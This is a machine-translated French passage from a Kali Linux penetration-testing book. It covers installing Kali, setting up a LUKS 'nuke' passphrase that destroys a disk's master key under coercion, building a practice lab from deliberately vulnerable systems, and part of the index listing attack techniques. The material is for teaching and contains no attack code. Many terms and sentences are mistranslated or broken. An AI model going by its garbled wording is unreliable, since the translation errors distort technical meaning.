Ce chapitre conclut Maîtriser Kali Linux pour les tests
d'intrusion avancés .
Nous espérons que ce livre vous a aidé à comprendre comment
les attaquants utilisent les outils
tels que Kali pour compromettre les réseaux, et comment vous
pouvez utiliser les mêmes outils pour
comprendre les vulnérabilités de votre réseau et les arbitrer
avant les vôtres
le réseau est compromis.

Page 329

Page 330
Installation de Kali Linux
Kali Linux est un système d'exploitation basé sur Linux qui agit
comme une plate-forme pour prendre en charge
plusieurs centaines d'applications différentes utilisées pour
auditer la sécurité d'un réseau.
Sa complexité n'a d'égale que la diversité des méthodes pour
l'installer et l'utiliser lors de
essai. Ce chapitre traitera de certaines des considérations à
prendre en compte lorsque
l'installation de Kali, et se concentrera sur la façon d'obtenir
une machine virtuelle sécurisée et
courir le plus vite possible. Il examinera également comment
mettre en place et maintenir un
site peu coûteux pour tester le matériel couvert dans ce livre.
Téléchargement de Kali Linux
Il existe plusieurs options pour télécharger et installer Kali Linux.
À l'époque
de cette publication, la version la plus récente est la version
1.06 ; cependant, la version 1.07 est
dû pour une libération imminente. La version actuelle est
disponible sur le site officiel
( www.kali.org/downloads/ ) dans les compilations 32 et 64 bits.
Offensive Security a créé la version préconfigurée d' Advanced
RISC
Machines ( ARM ), processeurs (par exemple, Galaxy Note 10.1,
Raspberry Pi et
Chromebooks Samsung) disponibles en téléchargement ;
ARMEL et ARMHL
les plates-formes sont prises en charge. De plus, des images
VMware prédéfinies sont également disponibles
en ligne sur http://www.offensive-security.com/kali-llnux-
vmware-arm-
téléchargement d'images/ .

Page 331
Installation de Kali Linux
[ 314 ]
Après avoir téléchargé l'image appropriée, assurez-vous que la
somme de contrôle SHA1
fichier a été généré par Kali (il sera signé à l'aide de la clé de
cryptage officielle de Kali,
qui est disponible en ligne pour vérifier l'authenticité du
téléchargement), et inspectez le
Somme de contrôle SHA1 pour vérifier l'intégrité de l'image.
Des outils de vérification sont intégrés
Systèmes d'exploitation Linux et OSX ; cependant, vous devrez
utiliser un outil tiers
tels que hashtab
( http://www.implbits.com/HashTab/HashTabWindows.aspx )
pour
Systèmes d'exploitation Windows.
Si vous souhaitez créer une version personnalisée de Kali, en
particulier une version proposant une alternative
desktop ou toolset, vous pouvez utiliser les scripts live-build
disponibles sur http://docs.
kali.org/live-build/generate-updated-kali-iso .
Installation de base de Kali Linux
Une fois que vous avez obtenu une distribution appropriée de
Kali Linux, il faut l'installer pour
utilisation. Les options d'installation suivantes sont disponibles :
• Installez sur un disque dur système i386, AMD64 ou ARM. Kali
Linux sera le
système d'exploitation hôte unique au démarrage de l'appareil.
• Double amorçage d'un système. Habituellement, cette option
est sélectionnée lors de l'utilisation d'un MS
Système d'exploitation Windows. Pendant le démarrage,
l'utilisateur a la possibilité de démarrer
le système en tant que Kali Linux ou en tant que système
d'exploitation Windows. Cela offre
plus de flexibilité que d'installer Kali directement sur le disque
dur ; Cependant, il
rend difficile le basculement entre les deux systèmes.
• Installer directement sur un lecteur de DVD ou un
périphérique USB. Ceci est particulièrement utile si
le système hôte peut être configuré pour démarrer à partir du
périphérique USB ; cependant,
des modifications de configuration supplémentaires sont
nécessaires si le périphérique USB doit être
persistant (contient toutes les modifications apportées au
système d'exploitation basé, aux applications,
et les données qui sont faites pendant le processus de test).
• Installer en tant que machine virtuelle à l'aide de produits tels
que VMware ou VirtualBox. Nous
ont trouvé qu'il s'agissait de l'option la plus flexible pour
prendre en charge les tests d'intrusion.
• Kali prend en charge deux types d'installations réseau :
l'installation mini ISO et la
installation du réseau PXE . La mini ISO installe une distribution
Kali tronquée sur
un système et s'appuie ensuite sur une connexion réseau
rapide pour installer le reste
des applications nécessaires pour un produit final efficace. Le
réseau PXE
l'installation prend en charge les terminaux (pas de CD-ROM et
pas de ports USB) pendant la
processus de démarrage, obtenir les informations d'adresse IP
et installer Kali.
• Kali peut désormais être utilisé à partir du cloud : une image
minimale de 64 bits de Kali est
disponible sur la place de marché Amazon EC2
( https://aws.amazon.com/
place de marché/pp/B00HW50E0M ). L'image de Kali est
gratuite et les utilisateurs ne sont que
facturés pour une utilisation normale d'AWS.

Page 332
annexe
[ 315 ]
En raison de la réglementation d'Amazon, cette version de Kali
n'utilise pas le
compte root par défaut. Une fois que vous avez obtenu votre
clé SSH de
Amazon, vous devez vous connecter à l'instance Kali en tant
qu'utilisateur, puis
sudo à root. Vous devrez peut-être télécharger des outils
supplémentaires pour prendre en charge
essai. Enfin, vous devez informer Amazon qu'il est utilisé pour
des tests de sécurité légitimes et non comme un outil d'attaque.
Installer Kali Linux sur une machine virtuelle
Dans ce livre, Kali a été configuré comme une machine virtuelle
( VM ). Une machine virtuelle a le
avantages suivants lorsqu'il est utilisé pour les tests d'intrusion :
• Une VM de test commune peut être développée et
maintenue, garantissant que les testeurs
sont familiers avec l'ensemble d'outils et leur impact sur les
systèmes cibles typiques.
• Les machines virtuelles facilitent la commutation rapide entre
les systèmes d'exploitation hôte et invité,
permettant au testeur de se déplacer entre les plates-formes
Windows et Linux afin
pour trouver la combinaison optimale d'outils pour les tests.
• Les machines virtuelles sont mobiles : elles peuvent être
déplacées vers différents systèmes et
plates-formes.
• Les machines virtuelles peuvent être conservées dans une
bibliothèque pour faciliter les tests de régression. Après un
ensemble d'outils
a été utilisé pour valider la sécurité d'un réseau ou d'un
système, les testeurs sont
souvent demandé si leur méthodologie et leurs outils auraient
détecté un
vulnérabilité présente au moment du test. Les testeurs peuvent
revenir en arrière et retester pour
la vulnérabilité en utilisant la VM archivée pour déterminer si
elle aurait
été détecté ou que le réseau risquait d'être attaqué.
Bien que des machines virtuelles prédéfinies soient disponibles
en téléchargement, la plupart des testeurs créent leurs propres
en utilisant des images ISO validées (le processus d'installation
de Kali sur une machine virtuelle est presque identique
pour l'installer sur un disque dur ou un support, comme une clé
USB). Kali prend en charge les deux
Machines virtuelles VMware et Oracle VirtualBox.
En général, le processus est simple et guidé par des assistants
d'application qui marchent
vous tout au long du processus. Lors de l'utilisation de VMware,
par exemple, le processus
être comme suit :
1. Sélectionnez l' icône Créer une nouvelle machine virtuelle
pour créer une nouvelle
machine virtuelle.
2. Choisissez de créer la VM à l'aide d'une image ISO.
3. Sélectionnez le système d'exploitation invité.
4. Définissez le nom et l'emplacement de l'image ISO.

Page 333
Installation de Kali Linux
[ 316 ]
5. Définissez l'espace disque ; le minimum utilisé doit être de 12
Go, mais mettre de côté au moins
20-25 Go. Un minimum de 1 Go de mémoire doit être mis à la
disposition de la VM ;
cependant, si vous testez un grand réseau et que vous utiliserez
le multithread
outils, vous pouvez augmenter ce nombre à au moins 3 Go.
6. Vérifiez la configuration matérielle.
Assurez-vous que la machine virtuelle est configurée pour être
visible uniquement par l'hôte
système d'exploitation, surtout s'il n'a pas été mis à jour. Si
vous êtes
configuration d'une VM à utiliser comme cible, sachez que si
elle est visible par le
Internet, votre plateforme de test peut être compromise par un
attaquant externe.
7. Démarrez la machine virtuelle. Le menu de démarrage
proposera plusieurs options ; sélectionner
Installation graphique .
8. Suivez les invites pour sélectionner la langue normale, le
fuseau horaire, le nom d'hôte,
et définissez le mot de passe root.
9. Lors de la configuration de la partition de disque, et si vous
n'utilisez pas l'option de double démarrage,
vous pouvez définir la partition complète comme disque virtuel.
Il est recommandé que vous
sélectionnez cette option pour le chiffrement complet du
disque à ce stade.
10. L'application VM terminera le partitionnement, écrira les
modifications dans le
disque, puis installez les fichiers système. Après avoir demandé
quelques informations supplémentaires
informations de configuration, la VM va redémarrer.
11. À ce stade, le système est sous tension. Configurer pour
prendre en charge les tests d'intrusion en tant que
décrit au chapitre 1 , Démarrer avec Kali Linux .
Les distributions préconfigurées de Kali reposent généralement
sur la valeur par défaut
nom d'utilisateur et mot de passe et peut avoir un hôte SSH
prégénéré
clés. Ceux-ci doivent être changés dès que possible.
Chiffrement complet du disque et nuking de la clé principale
Les testeurs d'intrusion ont généralement en leur possession
des informations sensibles - un
un test réussi peut révéler des failles dans le réseau d'un client,
et même les outils utilisés
effectuer un test d'intrusion peut être considéré comme illégal
dans certaines juridictions.
Par conséquent, les testeurs sécurisent fréquemment leurs
systèmes à l'aide d'un cryptage complet du disque.
Lors de la phase de partitionnement de l'installation sur un
disque dur ou une machine virtuelle,
Kali peut être configuré pour utiliser le chiffrement intégral du
disque à l'aide d'une combinaison de volume logique
Management ( LVM ) et Linux Unified Key Setup ( LUKS ), qui
est le
application standard pour le cryptage de disque dur Linux. Ceci
est montré dans le
capture d'écran suivante :

Page 334
annexe
[ 317 ]
L'accès au lecteur crypté nécessite une phrase secrète et il est
recommandé de
la phrase secrète a une longueur de 20 caractères ou plus.
Malheureusement, étant donné la
l'émergence récente de la surveillance parrainée par l'État, on
craint que les testeurs
pourraient être obligés de donner leur mot de passe à un agent
du gouvernement, en supprimant le
avantages du cryptage.
La solution consiste à fournir une phrase de passe qui annulera
ou détruira la clé principale.
Cela garantira la confidentialité, rendant impossible le
décryptage du disque.
Cette capacité a été récemment ajoutée à la version 1.06 de
Kali Linux.
Kali Linux intègre LUKS, qui est un cryptage indépendant de la
plate-forme
spécification qui permet à un utilisateur de chiffrer des
partitions sur un disque dur. LUKS permet
plusieurs clés utilisateur pour déchiffrer la clé principale,
permettant à plusieurs utilisateurs de chiffrer
et décrypter les données, et permet l'utilisation de clés de
sauvegarde.
Lorsqu'un conteneur chiffré LUKS est créé, une clé principale
aléatoire est générée.
Cette clé principale est chiffrée à l'aide de la phrase secrète.
L'avantage de cette approche
est que la phrase secrète n'est pas directement liée aux
données - si deux volumes identiques sont
crypté et que la même phrase secrète est utilisée, les clés
principales restent uniques à leur
volume et ne peut pas être échangé.

Page 335
Installation de Kali Linux
[ 318 ]
Cela signifie que si la clé principale est perdue ou détruite, il est
impossible de récupérer
les données cryptées. Cette propriété nous permet de
neutraliser la récupération d'un fichier crypté
volume ou disque dur en effaçant délibérément la clé
principale si une phrase secrète spécifique
est saisi. La fonctionnalité d'autodestruction d'urgence a été
ajoutée à Kali Linux
version 1.06 et peut être implémenté à l'aide de l'utilitaire
cryptsetup.
Pour utiliser la fonctionnalité nucléaire :
1. Installez Kali avec l' option Full Disk Encryption . Avant
l'installation de Kali, tous
les partitions seront effacées ; cela entraînera une installation
lente.
2. Vérifiez les informations d'en-tête LUKS pour le disque dur
crypté à l'aide du
commande suivante :
root@kali:~# cryptsetup luksDump /dev/sda5
L'emplacement de clé 0 , associé au mot de passe pour le
chiffrement du disque, est activé.
Les emplacements de clé restants sont inutilisés. L'exécution de
la commande précédente
est donné dans la capture d'écran suivante :

Page 336
annexe
[ 319 ]
3. Ajoutez la clé Nuke à l'aide de la commande suivante :
root@kali:~# cryptsetup luksAddNuke /dev/sda5
Le système vous demandera la phrase secrète existante pour
valider l'identité
puis vous demandera la nouvelle phrase secrète à utiliser pour
l'option nuke.
Attention, cela n'invite pas l'utilisateur à répéter la phrase
secrète deux fois dans
afin de se prémunir contre une erreur lors de l'entrée.
L'exécution du précédent
La commande est illustrée dans la capture d'écran suivante :
4. Pour confirmer que la clé nucléaire a été activée, consultez la
liste des
emplacements de clé, à l'aide de la commande illustrée dans la
capture d'écran suivante :
L'emplacement de clé 1 est maintenant activé ; il contient la clé
nucléaire.
5. Sauvegardez les clés à l'aide de la commande suivante :
root@kali:~# cryptsetupluksHeaderBackup --header-backup-
file
<nom de fichier> /dev/sda5

Page 337
Installation de Kali Linux
[ 320 ]
6. Une fois le fichier de clé principale sauvegardé, cryptez-le et
transférez-le hors du
système de stockage sécurisé. Plusieurs applications sont
disponibles pour le cryptage
(par exemple, 7 Zip, bcrypt, ccrypt et GnuPG), ou vous pouvez
utiliser un
commande telle que openssl . Voici un exemple de commande :
root@kali:~# opensslenc -aes-256-cbc -salt -in <nom de
fichier>
-out <nom de fichier crypté.enc>
Une fois le fichier de sauvegarde sécurisé, votre système est
protégé contre
extraction forcée du mot de passe. Si le mot de passe nucléaire
est entré, la copie locale
de la clé principale sera détruite, rendant impossible l'accès au
fichiers cryptés.
Si vous videz les en-têtes LUKS après avoir émis le mot de passe
nuke, vous verrez
une sortie comme indiqué dans la capture d'écran suivante :
Et si vous vouliez restaurer un disque que vous avez été forcé
de détruire ? Tant que tu
peut récupérer l'en-tête crypté à partir de l'emplacement de
stockage distant, il s'agit d'un simple
question; vous pourrez décrypter le disque dur et récupérer vos
données. Une fois la
l'en-tête chiffré a été déchiffré (à l'aide de la commande de
déchiffrement appropriée
en fonction de la méthode utilisée pour protéger le fichier),
saisissez la commande suivante :
root@kali:~# cryptsetupluksHeaderRestore --header-backup-
file
<nom de fichier> /dev/sda5

Page 338
annexe
[ 321 ]
Cela générera l'avertissement suivant :
Le périphérique /dev/sda5 contient déjà l'en-tête LUKS, le
remplacement de l'en-tête sera
détruire les emplacements de clés existants. Es-tu sûr?
Lorsque vous y êtes invité, tapez OUI . Cela remplacera l'en-tête
et vous permettra de
décrypter le disque dur.
Mise en place d'un environnement de test
Avant de tester un environnement de production, il est
important que le testeur
comprendre comment utiliser les outils de test, l'impact qu'ils
auront sur la cible
système, et comment interpréter les données par rapport aux
activités menées contre
la cible.
Les tests d'environnements contrôlés produisent fréquemment
des résultats différents de
mêmes tests lorsqu'ils sont exécutés sur un système de
production pour plusieurs raisons, notamment
ce qui suit:
• Le système d'exploitation de l'environnement cible diffère du
système d'exploitation
système dans l'environnement de test, y compris les différentes
versions du système d'exploitation
système. (XP est clairement différent de Windows 8.1, mais il y
a aussi
différences entre les versions de Windows 8.1 Pro et Enterprise
ou entre
système d'exploitation 32 bits et 64 bits.) Modifications du
système d'exploitation pour
soutenir les langues locales peut également avoir un impact
significatif sur la présence
de vulnérabilités.
• L'environnement cible a différents service packs, correctifs ou
mises à niveau appliquées.
• L'environnement cible possède différentes applications
tierces installées ; ces
peut entrer en conflit avec le trafic réseau, introduire de
nouvelles vulnérabilités ou affecter un
capacité du testeur à exploiter les vulnérabilités existantes.
• Les cibles configurées en tant que machines virtuelles dans un
environnement hôte peuvent réagir
différemment des systèmes cibles installés directement sur le
métal nu.
• Les cibles sont protégées par divers périphériques réseau et
système
et candidatures.
Pour obtenir les meilleurs résultats possibles, les testeurs (et
les attaquants) utilisent généralement un
étape du processus de test. Les testeurs effectuent d'abord
l'attaque à l'aide d'un environnement virtuel bien défini
machine (telle que Windows XP) pour déterminer les outils
d'attaque les plus efficaces et
méthodologies; une fois ce cas de test simple prouvé, les
testeurs revalident l'attaque
en utilisant un réseau virtuel ou physique plus complexe qui
reflète le réseau cible
le plus près possible.

Page 339
Installation de Kali Linux
[ 322 ]
Systèmes d'exploitation vulnérables et
applications
Les testeurs maintiennent généralement une bibliothèque des
systèmes d'exploitation actuels et historiques.
Lors du test des systèmes d'exploitation Microsoft, WinXP est
utilisé comme norme de référence pour
tester les vulnérabilités. Bien que Windows XP sera obsolète en
2014 et ne sera plus
supporté par Microsoft, il restera sur de nombreux réseaux en
serveurs et postes de travail
ainsi qu'intégrés dans des appareils tels que des imprimantes et
des terminaux de point de vente.
Lors du test de systèmes d'exploitation Windows vulnérables,
un abonnement à MSDN
( http://msdn.microsoft.com/en-ca/subscriptions/aa336858 )
est inestimable dans
afin d'accéder aux produits Microsoft actuels à tester en
laboratoire.
N'utilisez pas de systèmes d'exploitation téléchargés à partir de
fichiers publics-
services de partage tels que les sites Torrent. DigitalDefence
récemment
évalué 40 téléchargements de systèmes d'exploitation
Microsoft à partir de
Sites torrent : chaque téléchargement a été infecté par une
porte dérobée vers
permettre l'accès à distance à un attaquant.
Pour tester les anciennes applications Windows tierces qui
possèdent des vulnérabilités spécifiques,
les testeurs peuvent accéder aux référentiels en ligne qui
conservent les anciennes copies des applications ; de nombreux
parmi celles-ci figurent des vulnérabilités exploitables. Des
exemples de tels référentiels peuvent être vus
aux liens suivants :
• http://www.oldapps.com
• www.oldversion.com
En raison de leur nature open source, plusieurs versions de
systèmes d'exploitation de type Unix
(Linux, BSD et Solaris) sont disponibles pour téléchargement et
test.
Les projets suivants vous permettront de tester les installations
du système d'exploitation Unix avec
vulnérabilités connues, vous pouvez accéder :
• Maudit Linux vulnérable ( http://sourceforge.net/projects/
virtualhacking/files/os/dvl/ )
• LAMPSecurity
( http://sourceforge.net/projects/lampsecurity/ )
• Metasploitable2
( http://sourceforge.net/projects/virtualhacking/
fichiers/os/metasploitable/ )
Les anciennes applications Unix avec des vulnérabilités connues
sont généralement disponibles pour
télécharger sur le site de l'application.

Page 340
annexe
[ 323 ]
Environnements complexes de test (système d'exploitation et
applications vulnérables)
peut être téléchargé à partir du référentiel VulnHub à l'adresse
http://vulnhub.com . Ces
les images sont généralement accompagnées de visites qui
montrent différentes manières de
exploiter les images. Certaines des images incluent les
suivantes :
• bWAPP : cela fournit plusieurs façons de dégrader un
exemple de site Web
• VulnVPN : Ceci permet au testeur d'exploiter le service VPN
afin d'accéder
le serveur et les services internes et obtenir un accès root
• VulnVoIP : Cela permet au testeur de pratiquer la
reconnaissance et permet au
exploitation d'un réseau VoIP
Enfin, les testeurs voudront tirer parti de certaines des
vulnérabilités Web
applications disponibles pour les tests.
L'une des cibles de test les plus courantes est l'image Linux
appelée Metasploitable.
Le système d'exploitation de base présente de multiples
vulnérabilités ; en plus il charge
applications Web vulnérables au démarrage. Pour accéder aux
applications, ouvrez
Metasploitable en tant que VM, puis démarrez une VM
distincte avec Kali Linux. Dans le Kali
VM, ouvrez un navigateur et saisissez l'adresse IP de la VM
Metasploitable. Tu verras
les options de menu, comme illustré dans la capture d'écran
suivante :

Page 341
Installation de Kali Linux
[ 324 ]
Les applications Web peuvent être utiles pour prendre en
charge les tests d'entreprise ainsi que
attaques spécifiques contre les applications Web. Les cinq
candidatures sont les suivantes :
• TWiki : Il s'agit d'une application wiki qui prend en charge la
collaboration d'entreprise
pendant le processus de test ; il utilise un contenu structuré
pour créer des
systèmes de flux de travail
• phpmyadmin : Permet l'administration à distance des bases
de données MySQL sur
la toile
• webdav : Le Authoring and Versioning Web Distributed
ensemble de
extensions au protocole HTTP, qui permet aux utilisateurs
d'éditer en collaboration
et gérer les fichiers sur des serveurs Web distants
• Mutillidae : Une application de piratage Web vulnérable
composée de scripts PHP
qui sont vulnérables aux 10 principales vulnérabilités de
l'OWASP
Comme vous pouvez le voir dans l'extrait d'écran suivant, les 10
principales vulnérabilités
sont disponibles dans un menu déroulant. Par exemple, en
sélectionnant l'option
A2 - Cross Site Scripting ( XSS ) vous donne accès à des sous-
menus correspondant à
types de vulnérabilités spécifiques ( Reflected , Persistent ,
DOM Injection , etc.).

Page 342
annexe
[ 325 ]
La base de données spécifiée dans le fichier de configuration
Mutillidae est
incorrect, et vous pouvez recevoir plusieurs erreurs pour des
opérations qui
nécessitent un accès à la base de données. Pour les corriger,
connectez-vous à Metasploitable2 et
éditez le fichier /var/www/mutillidae/config.inc ; changer la
champ dbname de metasploit à owasp10.
• Enfin, le framework Metasploitable lance le Damn Vulnerable
Web
Application ( DVWA ) qui fournit un ensemble différent de
défis à la pratique
attaques contre des vulnérabilités spécifiques.
D'autres applications Web vulnérables qui ont été bien
caractérisées comprennent
ce qui suit:
• Hackxor : Il s'agit d'un jeu de piratage d'applications Web qui
oblige les joueurs à
progresser à travers une histoire pour résoudre des défis liés à
diverses vulnérabilités
( http://hackxor.sourceforge.net/cgi-bin/index.pl ).
• Foundstone : Cela a publié une série d'applications Web
vulnérables,
y compris une banque, une librairie, un casino, une expédition
et un site de voyage
( www.mcafee.com/us/downloads/free-tools/index.aspx ).
• LAMPSecurity : fournit une série de machines virtuelles
vulnérables conçues pour enseigner
Linux, Apache, PHP et sécurité des bases de données
( http://sourceforge.net/
projets/lampsecurity/files/ ).

Page 343
Installation de Kali Linux
[ 326 ]
• OWASP Broken Web Applications Project : il s'agit d'une
collection de
applications Web vulnérables
( http://code.google.com/p/owaspbwa/ ).
• WebGoat : Il s'agit d'une application Web J2EE non sécurisée
qui tente de
fournir un environnement de test réaliste. Il est maintenu par
l'OWASP
( https://www.owasp.org/index.php/Category:OWASP_WebGo
at_Project ).
• Web Security Dojo : Cette application de formation publiée
par Maven Security
( https://www.mavensecurity.com/web_security_dojo/ ),
contient
plusieurs images cibles, y compris Damn Vulnerable Web App,
Google
Gruyère, Hackme's Casino, l'application Web non sécurisée de
l'OWASP et WebGoat,
le site Web de test de w3af et plusieurs cibles spécifiques aux
vulnérabilités. Il contient également
un ensemble d'outils pour soutenir l'exploitation.

Page 344
Indice
UNE
accès
maintenance, avec backdoors Web 254-256
point d'accès, communications sans fil
clonage 224, 225
empreintes digitales actives 77
reconnaissance active
environ 65, 66
services actifs, déterminant 79, 80
énumération des hôtes 75
infrastructure réseau, identification 73
système d'exploitation, empreintes digitales 77
analyse des ports 76
techniques de balayage furtif 66
Langage de script actif 286
services actifs
bannière saisissant 79
ports et services par défaut, identifiant 79
pages Web par défaut, révision 79
déterminer 79
code source, révision 80
Outils d'emballage avancés (APT)
environ 24
apt-get dist-upgrade commande 25
commande de mise à jour apt-get 24
commande de mise à niveau apt-get 24
commandes 24
Machines RISC avancées (ARM) 313
site aircrack-ng 204
outils aircrack 209
commande airodump 206
détection antivirus
contournement 110-117
attaques spécifiques aux applications
environ 251
identifiants d'accès par force brute 251
attaques par injection, contre les bases de données 252-254
apt-file commande 36
apt-get dist-upgrade commande 25
commande de mise à jour apt-get 24
commande de mise à niveau apt-get 24
Arachnide 240
Vecteur d'attaque basé sur Arduino 175
Armitage
utilisé, pour explorer plusieurs
cibles 105, 106
utilisé, pour les tests en équipe 107, 108
Attaque d'Armitage
script 108, 109
URL de l'attaquant, attaque d'ingénierie sociale
obscurcissant 192, 193
En-tête d'authentification (AH) 278
jetons d'authentification
identifiants d'accès, manipulation
avec WCE 142
escalade, de l'administrateur
au SYSTÈME 143
rejouer, incognito utilisé 140, 141
Adaptateurs AWUS036NH 204
B
porte dérobée 149
RetourTrack 15
Identificateur d'ensemble de services de base (BSSID) 206
Du bœuf
environ 171 299
schéma de codage couleur 304
configuration 300
installation 300
intégration 300-302

Page 345
[ 328 ]
intégration, avec Metasploit
attaques 308, 309
tâches, exécution 299
en utilisant, comme proxy de tunneling 309-311
Navigateur BeEF
Clippy 306
panneau de commande 303
aperçu 303, 304
joli vol 307
Queue de Bœuf 304
Belkasoft RAM capture 130
redirection de port bidirectionnel 167
Gestionnaire de démarrage (BUM) 27
Cadre d'exploitation de Brower. Voir Bœuf
attaques par force brute 219, 222
identifiants d'accès par force brute 251
BT. Voir BackTrack
Rot
en utilisant 244
bWAPP 323
module de contournement 122
C
CeWL 260
commande check_connected 298
exploitation côté client
environ 285
attaques, lancement à l'aide de VBScript 286-289
système, attaque à l'aide de scripts hostiles 286
systèmes, attaque à l'aide de Windows
PowerShell 289-291
proxys côté client
Burp Suite 243
OWASP ZAP 243
Paros 243
ProxyStrike 243
utilisé, pour la sécurité des tests 243-249
scanner de vulnérabilité Vega 243
WebScarab 243
systèmes côté client
attaquant, scripts hostiles utilisés 286
attaquant, Windows
PowerShell utilisé 289-291
Profileur de mot de passe utilisateur commun (CUPP) 61
communication
sécurisation, Secure Shell utilisé 21, 22
applications de reconnaissance complètes
employant 80
Maltego 85
nmap 81
Cadre de reconnaissance 82
système compromis
reconnaissance rapide, conduite 122-127
confirmer le mécanisme de fermeture 310
Méthode d'attaque de la moissonneuse d'identifiants
environ 174
en utilisant 186-188
Attaque de récolte d'identifiants 188
Script intersites. Voir XSS
croquer 260
chat cryptique
environ 158
en utilisant 158
utilitaire cryptsetup 318
commande csrf 298
personnalisations, Kali 25
CutyCapt 39

Bon sang Web vulnérable
Demande (DVWA) 325
Système de gestion de paquets Debian
environ 23
Outils d'emballage avancés
(APT) utilisé 24, 25
Paquet 24
paquets 23
référentiels 23
Collecte d'informations sur la magie profonde
Outil. Voir DMitry
Zone démilitarisée (DMZ) 166
DHCP (configuration d'hôte dynamique
protocole) 18
Algorithme Diffie-Hellman 269
Piratage de DLL 139
DMitry 80
Informations DNS
IPv4 51
IPv6 53
en utilisant 50
DNS-Loadbalancing 74
Reconnaissance DNS
cartographie d'itinéraire 47, 54-57
Page 346
[ 329 ]
redirection DNS
utilisé, pour l'escalade d'attaque 194
métadonnées du document
environ 59
collectionner 59, 60
Courrier identifié par DomainKeys (DKIM) 50
Service de nom de domaine (DNS) 50
Attaques DoS
environ 225
exemples 225, 226
Outil d'attaque DoS
LOIC 250
Paquet 24
commutateur dsniff 173
fichiers de bibliothèque de liens dynamiques (DLL) 139
E
Protocole de sécurité d'encapsulation (ESP) 278
dossier crypté
créer, avec TrueCrypt 30-33
chiffrements de cryptage
nul 269
fort 269
faible 269
Interrupteur Ettercap 173, 194
exécutables, attaque d'ingénierie sociale
cacher 192
fichiers système et d'application existants
compromettant, pour accès à distance 150
les fichiers système et applicatifs existants,
compromettant
Service Telnet, activation à distance 150-152
Virtual Network Computing, permettant
à distance 154, 155
Windows Terminal Services, permettant
à distance 152, 153
Exploiter la base de données
URL 94
phase d'exploitation
environ 91
détection antivirus, contournant 110-117
ressources locales de vulnérabilité, en utilisant 93-97
ressources de vulnérabilité en ligne, utilisant 93, 94
modélisation des menaces 92
Identificateur d'ensemble de services étendu (ESSID)
environ 207-210
capture 211
F
fgdump 139
Norme de hiérarchie des systèmes de fichiers (FHS) 16
Pierre de fondation 325
chiffrement complet du disque
en utilisant 316, 320
g
Injection XSS générique 294
commande gnome-tweak-tool 36
GoLismero 240
google dorks 46
GoToMyPC 264
H
Hackxor 325
hashtab 314
Identificateur d'ensemble de services caché
contournement 209
plug-in de liste d'ruches 132
hobocopie 139
crochet 299
escalade horizontale
utilisé, pour accéder à de nouveaux comptes 143
dénombrement des hôtes, reconnaissance active
environ 75
découverte de l'hôte en direct 75
accès physique hostile 198
Équilibrage de charge HTTP 74
hydre 260, 262
je
commande ifconfig 18
Mécanisme d'enregistreur de frappe iFrame 311
outil ike-scan 280
incognito
utilisé, pour rejouer l'authentification
jetons 140, 141
vecteur d'initialisation (IV) 214
Inj3ct0r
URL 94
instanbul 36
persistance interactive
maintenir 149

Page 347
[ 330 ]
intercepteur 194
Échange de clés Internet (IKE) 279
VPN IPSec
environ 278
En-tête d'authentification (AH) 278
Protocole de sécurité d'encapsulation (ESP) 278
Association de sécurité 279
VPN IPSec, attaquant
comptes d'utilisateurs par défaut, identifiant 283
craquage PSK hors ligne, effectuant 282, 283
clés pré-partagées, capture 282
sécurité, accès 279
Passerelle VPN, empreintes digitales 280, 281
Passerelles VPN, analyse 279, 280
ISAKMP 279
J
Méthode d'attaque d'applet Java
environ 174
lancement 181
en utilisant 181-185
K
Kali Linux
environ 15 313
configuration 25
de configuration, pour les attaques sans fil 204
personnalisation 25
dossier chiffré, création avec
TrueCrypt 30-35
fonctionnalités 16
dossiers, partage avec Microsoft
Fenêtres 28, 29
cryptage complet du disque, utilisant 316, 317
possibilités d'installation 314
installation 313, 314
installation, sur la machine virtuelle (VM) 315, 316
Opérations Kali, accélération 26-28
clé principale, nuking 318-320
installations réseau 314
utilisateur non root, ajout de 26
mot de passe root, réinitialisation 26
mise à jour 23
Opérations de Kali
accélération 26-28
commande keylogger 298
Kismet
environ 207
lancement 208
L
LAMPESécurité 325
Configuration de clé unifiée Linux (LUKS) 316, 317
commande load_applet 298
load_pdf commande 298
charger la commande xssf 293
Hôte local (LHOST) 102
Gestion des volumes logiques (LVM) 316
LogMeIn 264
Outil de canon à ions en orbite basse (LOIC) 250
M
Authentification par adresse MAC
contournement 212, 213
Maltego
environ 46, 85-87
URL 85
MandiantMemoryze 130
mécanisme de l'homme dans le navigateur 311
MassMailer Attaque 175
Adresse MAC (Media Access Control) 211
méduse 260
Métagoofil 60, 61
Metasploit
utilisé, pour créer des persistants autonomes
mandataire 163-165
utilisé, pour les activités post-exploitation 134-138
Metasploitable 100, 323
Méthode d'exploitation du navigateur Metasploit 174
Cadre Metasploit. Voir MSF
Metasploit Pro 110
Variables Metasploit 173
script metsvc
environ 159
en utilisant 159
Systèmes d'exploitation Microsoft
test 322
Microsoft Windows
dossiers, partage avec 28, 29
mini ISO installer 314

Page 348
[ 331 ]
modules, MSF
modules auxiliaires 99
encodeurs 99
exploite 98
Aucune opération (NOP) 99
charges utiles 98
modules de poste 99
MonsolsDumpIt 130
MSF
environ 98
module 98
utilisé, pour explorer le système 99-103
Méthode Web multi-attaques
environ 175
en utilisant 190
cibles multiples
exploration, Armitage d'occasion 105, 106
Mutillidés
environ 324
en utilisant 295-298
Site de Mutillidés
en utilisant 246
N
Base de données nationale sur les vulnérabilités
URL 94
craquement 260
nessus
URL 88
Netchat
employant, comme agent persistant 155-158
fonctions 155, 156
requête netstat 22
commande netstat -rn
en utilisant 128
commande d'affichage net
en utilisant 128
infrastructure de réseau,
reconnaissance active
identifiant 73, 74
installations réseau
mini ISO installer 314
réseau PXE installer 314
Mappeur de réseau (Nmap) 68
paramètres de proxy réseau
réglage 20, 21
réseau PXE installer 314
services réseau
configuration 18, 19
Exposer
URL 88
Nikto 240
NirSoft 139
outil nmap
environ 76, 81, 279
fonctions scriptées 81
en utilisant 77
modules NSE nmap
environ 270
SSL-cert 270
date ssl 270
ssl-enum-chiffres 270
ssl-google-cert-catalogue 270
clé-ssl-connue 270
sslv2 270
Moteur de script Nmap (NSE) 81
vulnérabilités XSS non persistantes 291
privilèges non root
applications tierces,
courir avec 37, 38
utilisateur non root
ajouter 26
nslookup 50
Hachages NT LanMan (NTLM) 131
fonctionnalité nucléaire
en utilisant 318-320
chiffrements nuls 269
O
sécurité offensive 313
bureau ouvert 36
Intelligence open source. Voir OSINT
Base de données de vulnérabilité Open Source
Projet (OSVDP)
URL 94
Évaluation ouverte de la vulnérabilité
Système (OpenVAS)
limites 88
système opérateur
empreintes digitales actives 77
empreintes digitales 77
empreintes digitales passives 77

Page 349
[ 332 ]
protocoles de communication du système d'exploitation
